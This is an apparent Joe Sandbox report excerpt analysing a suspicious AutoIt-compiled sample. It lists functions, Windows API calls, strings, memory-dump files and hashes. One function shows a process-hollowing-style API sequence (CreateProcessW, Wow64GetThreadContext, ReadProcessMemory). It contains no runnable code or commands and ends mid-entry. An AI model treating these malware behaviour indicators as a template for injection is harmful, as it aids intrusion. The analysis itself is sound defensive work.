String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: f44622898601264ac533d4b2d7df9c58c9ab2a5375847d550fb613e7a84b04c1
Instruction ID: 93f5a15b1341a738d3a3fded780d9380533ecdf12456e0f50706a99a8ec3588a
Opcode Fuzzy Hash: f44622898601264ac533d4b2d7df9c58c9ab2a5375847d550fb613e7a84b04c1
Instruction Fuzzy Hash: C7117C75511218BFDB228F64EC44EAE77B8EF14740F00841AA981E7214E235AE919B64

Function 04D712A0 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(?,00000000), ref: 04D71A5B
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 04D71AF1
ReadProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 04D71B13

Memory Dump Source

Source File: 00000000.00000002.1692690521.0000000004D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d70000_DOC092024-0431202229487.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: 0b43d72d38ac188f5e361c01a6572487286e397564ea08694eb873f1bb21aafa
Instruction ID: 00ae8122b3328f43f8b6f7cad62def3bc65ed1cb28b5e7c2a0de74e006ce2c3a
Opcode Fuzzy Hash: 0b43d72d38ac188f5e361c01a6572487286e397564ea08694eb873f1bb21aafa
Instruction Fuzzy Hash: CE62E830A142589AEB24CFA4C851BDEB376FF58700F1091A9D10DEB394E779AE81CB59

Function 0074A8C8 Relevance: 6.3, APIs: 4, Instructions: 306COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccc7551d3b704df90ff7f33e34cdb24f1802d8d1df745e7c85f3f8f1d4656def
Instruction ID: 32f960df3bebea27a0c1ffa0a3af873cc1ec19ba2ce1114afb7c0fb218dda726
Opcode Fuzzy Hash: ccc7551d3b704df90ff7f33e34cdb24f1802d8d1df745e7c85f3f8f1d4656def
Instruction Fuzzy Hash: 84C16E75A4021AFFCB14CFA4C984EAEB7B5FF48710F108599E901AB251D738EE41DBA1

Function 0076AF26 Relevance: 6.3, APIs: 4, Instructions: 268COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0076AF56
CoUninitialize.COMBASE ref: 0076AF61

Part of subcall function 00751050: CoCreateInstance.COMBASE(?,00000000,00000005,?,?), ref: 007510B8

VariantInit.OLEAUT32(?), ref: 0076AF6C
VariantClear.OLEAUT32(?), ref: 0076B23F

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: 43dddb425142b0240ae27ae131fe700cfc20d864b7502b661ea884304047bd27
Instruction ID: 8987013b6cd0ba046d1b951ace2d9a9503c8e880f9d2785f8dcb6208e58680ba
Opcode Fuzzy Hash: 43dddb425142b0240ae27ae131fe700cfc20d864b7502b661ea884304047bd27
Instruction Fuzzy Hash: 5BA15B35204701EFC710DF14C895B5AB7E4BF89720F048459F99AAB3A2DB38ED85CB82

Function 007342EB Relevance: 6.2, APIs: 4, Instructions: 162COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00734347
_memcpy_s.LIBCMT ref: 007343B9
__filbuf.LIBCMT ref: 0073443A
_memset.LIBCMT ref: 0073447E

Part of subcall function 0073889E: __getptd_noexit.LIBCMT ref: 0073889E

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit_memcpy_s
String ID:
API String ID: 3877424927-0
Opcode ID: 3af6bf1f2897bd57cc1c62b3d674bf095c10ee803b68375a69726c3ec1f1bf85
Instruction ID: 9d3fbb5aa916a1ce75239c30afcb8de468dab3e8c3e14ec24b7af0672ea11b63
Opcode Fuzzy Hash: 3af6bf1f2897bd57cc1c62b3d674bf095c10ee803b68375a69726c3ec1f1bf85
Instruction Fuzzy Hash: 6E51B570A00345DBFB2C9F69C8846AE77A5AF40360F248739F865A72D2D778FD519B40

Function 0071131C Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

Part of subcall function 007116F2: RegisterClipboardFormatW.USER32(WM_GETCONTROLNAME), ref: 00711751

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 0071159B
CoInitialize.OLE32(00000000), ref: 00711612
CloseHandle.KERNEL32(00000000), ref: 007858F7

Strings

'/u, xrefs: 00711406, 00711450, 0071146C

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Handle$ClipboardCloseFormatInitializeRegister
String ID: '/u
API String ID: 458326420-4029691049
Opcode ID: 7cad7987c0eb61da53e6869d9d82465d2c45c22f12bb449277322604043089e6
Instruction ID: fd6acf4415f8846f676f311584984f058037b2655535098ff144bd7f53c0f3c4
Opcode Fuzzy Hash: 7cad7987c0eb61da53e6869d9d82465d2c45c22f12bb449277322604043089e6
Instruction Fuzzy Hash: 25719BB4A06281EAC310DFAAB994494BBB5FB593543D4C27FD00A873B2DB7C8854CF59

Function 0075C4D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0075C4EF
__fread_nolock.LIBCMT ref: 0075C504

Strings

EA06, xrefs: 0075C532

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: 261d30e67a71c3d7146244e2923acda180b5328e1304374ad932758c7dd1d8f9
Instruction ID: 7ac83dda28c07b065d2c7955333e79b910316bb24625a7613d36f8a5a11164c6
Opcode Fuzzy Hash: 261d30e67a71c3d7146244e2923acda180b5328e1304374ad932758c7dd1d8f9
Instruction Fuzzy Hash: E101F972900258BEEB18C798C816FFE7BF89B05711F00415EE553D2181E5B8A7088B60

Function 0073010A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 007345EC: __FF_MSGBANNER.LIBCMT ref: 00734603
Part of subcall function 007345EC: __NMSG_WRITE.LIBCMT ref: 0073460A
Part of subcall function 007345EC: RtlAllocateHeap.NTDLL(01760000,00000000,00000001), ref: 0073462F

std::exception::exception.LIBCMT ref: 0073013E
__CxxThrowException@8.LIBCMT ref: 00730153

Part of subcall function 00737495: RaiseException.KERNEL32(?,?,0071125D,007C6598,?,?,?,00730158,0071125D,007C6598,?,00000001), ref: 007374E6

Strings

bad allocation, xrefs: 00730137

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID: bad allocation
API String ID: 3902256705-2104205924
Opcode ID: b19150854514076161462baf7292e3b7f9f1c68a4b7761b42b11207d728afa3c
Instruction ID: bc9d2cd2d2c3bf15bea68fbc63878711da007caac3e2dba61d240148b2ee5dee
Opcode Fuzzy Hash: b19150854514076161462baf7292e3b7f9f1c68a4b7761b42b11207d728afa3c
Instruction Fuzzy Hash: 57F02D7500410DE6EB29ABA8DC19ADE77DC9F04350F104025F90491083DB789E90D6E4

Function 0075D009 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 0075D01E
GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 0075D035

Strings

aut, xrefs: 0075D02F

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 4c388d8c4bd05e1b0852554925fa75015bdae19b7efbaa40573d335c5c0c00ed
Instruction ID: 6361bdf5984dced49a89ea0feca9998adc5a90a0c07b13bda1fbe69379b0105e
Opcode Fuzzy Hash: 4c388d8c4bd05e1b0852554925fa75015bdae19b7efbaa40573d335c5c0c00ed
Instruction Fuzzy Hash: 67D05EB154030EBBDB20ABA0ED0EF99B76CA700B09F1081917614D10D1D3F8EA468BA4

Function 00713598 Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 007135BE
Shell_NotifyIconW.SHELL32(00000000,?), ref: 00713667

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: IconNotifyShell__memset
String ID:
API String ID: 928536360-0
Opcode ID: 78b7d549c2af042d1710d6c5819d487bb2981bc165c8bf5245c4d6ffdf79e653
Instruction ID: 7b4473353ad67dd91e9afef968ff804157b7f2830d3c04ca5cf511ad3e821b2a
Opcode Fuzzy Hash: 78b7d549c2af042d1710d6c5819d487bb2981bc165c8bf5245c4d6ffdf79e653
Instruction Fuzzy Hash: 063161B0605341EFD721DF28D8456D7BBF4FB49704F00492EF59A83281E779AA88CB66

Function 007345EC Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00734603

Part of subcall function 00738E52: __NMSG_WRITE.LIBCMT ref: 00738E79
Part of subcall function 00738E52: __NMSG_WRITE.LIBCMT ref: 00738E83

__NMSG_WRITE.LIBCMT ref: 0073460A

Part of subcall function 00738EB2: GetModuleFileNameW.KERNEL32(00000000,007D0312,00000104,?,00000001,00730127), ref: 00738F44
Part of subcall function 00738EB2: ___crtMessageBoxW.LIBCMT ref: 00738FF2

Part of subcall function 00731D65: ___crtCorExitProcess.LIBCMT ref: 00731D6B
Part of subcall function 00731D65: ExitProcess.KERNEL32 ref: 00731D74

Part of subcall function 0073889E: __getptd_noexit.LIBCMT ref: 0073889E

RtlAllocateHeap.NTDLL(01760000,00000000,00000001), ref: 0073462F

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: fa1711bd30124d740f06f08bbef19577c523bffd8981d3f752d74cd9197b5f13
Instruction ID: 42a38c992f504068764ed5d13a407217a72d34446cd82835f624346fca182e32
Opcode Fuzzy Hash: fa1711bd30124d740f06f08bbef19577c523bffd8981d3f752d74cd9197b5f13
Instruction Fuzzy Hash: 1901F531641301EAFA282F34AC17B6A3358EF82B61F51012AF5019B1C3DFBCBC408666

Function 0075CFC8 Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,0075CC71,?,?,?,?,?,00000004), ref: 0075CFE1
SetFileTime.KERNEL32(00000000,?,00000000,?,?,0075CC71,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 0075CFF7
CloseHandle.KERNEL32(00000000,?,0075CC71,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 0075CFFE

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: b06c394a8e4b940acc72ba1242bd07cade931836cb262c495d90aa73c1a7f0cd
Instruction ID: 211f03578e5864ad34f0a1753908b759d0efff7f17f33232716c8459f4d24350
Opcode Fuzzy Hash: b06c394a8e4b940acc72ba1242bd07cade931836cb262c495d90aa73c1a7f0cd
Instruction Fuzzy Hash: A2E0E633181218B7D7311B54AC0AFCA7B19EB05775F118111FB55690E087B56D52979C

Function 0075C450 Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0075C45E

Part of subcall function 007328CA: RtlFreeHeap.NTDLL(00000000,00000000,?,00738715,00000000,007388A3,00734673,?), ref: 007328DE
Part of subcall function 007328CA: GetLastError.KERNEL32(00000000,?,00738715,00000000,007388A3,00734673,?), ref: 007328F0

_free.LIBCMT ref: 0075C46F
_free.LIBCMT ref: 0075C481

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 409dc5471866d52cb660d3acacbc6baa69eb1666097d1b0fc545827c793d8a90
Instruction ID: f8152d98608155b637a22fd02963b16529e2ed6cabea6b629c783649aaeea60a
Opcode Fuzzy Hash: 409dc5471866d52cb660d3acacbc6baa69eb1666097d1b0fc545827c793d8a90
Instruction Fuzzy Hash: 92E0C2B1200790CAEA20A9786848FF3A3CC6F04312F04082DF889D3143CF5CE8418034

Function 0072058E Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 527COMMON

Download Yara Rule

Strings

CALL, xrefs: 007210DB

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: 413bc6bd6fbc9bcff3158879f5ba7c67b16646850b0deb8b201b190406e0b123
Instruction ID: 30dea34444c7921aca1fcfbb81d73ee65037a19d232552682062df3bfe784d19
Opcode Fuzzy Hash: 413bc6bd6fbc9bcff3158879f5ba7c67b16646850b0deb8b201b190406e0b123
Instruction Fuzzy Hash: E1227C70508351DFD724DF28D494A6AB7E1FF84300F15896DE89A8B362D739EC85CB92

Function 00714010 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0071405A

Strings

EA06, xrefs: 007857B9

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: _memmove
String ID: EA06
API String ID: 4104443479-3962188686
Opcode ID: e027d2c8d78171836258de77ef1eeb66af8ef019c2229fe11d2887e1794d3c4d
Instruction ID: 9588648ea6dc479d11566f7f9441ac800f7a4d3e5a67a2d22c9cd6d739e46c6d
Opcode Fuzzy Hash: e027d2c8d78171836258de77ef1eeb66af8ef019c2229fe11d2887e1794d3c4d
Instruction Fuzzy Hash: 4A419F71A0415CF7CF219B6C8C567FE7FA29B59300F2845A4EA82D72C3C62D8DC493A1

Function 00713BFF Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00783CF1

Part of subcall function 007131B8: GetFullPathNameW.KERNEL32(00000000,00000104,?,?), ref: 007131DA

Part of subcall function 00713A67: SHGetMalloc.SHELL32(1<q), ref: 00713A7D
Part of subcall function 00713A67: SHGetDesktopFolder.SHELL32(?), ref: 00713A8F
Part of subcall function 00713A67: SHGetPathFromIDListW.SHELL32(?,?), ref: 00713AD2

Part of subcall function 00713B45: GetFullPathNameW.KERNEL32(?,00000104,?,?,007D22E8,?), ref: 00713B65

Strings

X, xrefs: 00783D01

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Path$FullName$DesktopFolderFromListMalloc_memset
String ID: X
API String ID: 2727075218-3081909835
Opcode ID: 1ebd7b0d118175063b0ba29faeb9839e5514073ce646f89734b3309cf2f3281a
Instruction ID: 04b732213fedb7e7838c18bb842e0d30bf3f9ae9d9e291d226a91d3788b7b077
Opcode Fuzzy Hash: 1ebd7b0d118175063b0ba29faeb9839e5514073ce646f89734b3309cf2f3281a
Instruction Fuzzy Hash: FE118DB1A10198EBDF05DF98D8096DE7BF9AF45704F04801DE401B7281DBBD5749CBA5

Function 007134C1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39COMMON

Download Yara Rule

Strings

>>>AUTOIT NO CMDEXECUTE<<<, xrefs: 007834AA

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: LibraryLoad
String ID: >>>AUTOIT NO CMDEXECUTE<<<
API String ID: 1029625771-2684727018
Opcode ID: ef6ef75c666367344661a30838018d666e184735b05b2209e1f75c2463a98988
Instruction ID: 474cb3d7b33e6ca5a006518de062cd86868439d930751d34b5185ec755e7579e
Opcode Fuzzy Hash: ef6ef75c666367344661a30838018d666e184735b05b2209e1f75c2463a98988
Instruction Fuzzy Hash: 50F0447194024DEE9F11EEA8C8559FFB778AA10310B108526A82692182EB3C9B4ACB20

Function 007335E7 Relevance: 3.1, APIs: 2, Instructions: 135COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0073367B
__flush.LIBCMT ref: 0073369B

Part of subcall function 0073889E: __getptd_noexit.LIBCMT ref: 0073889E

Memory Dump Source

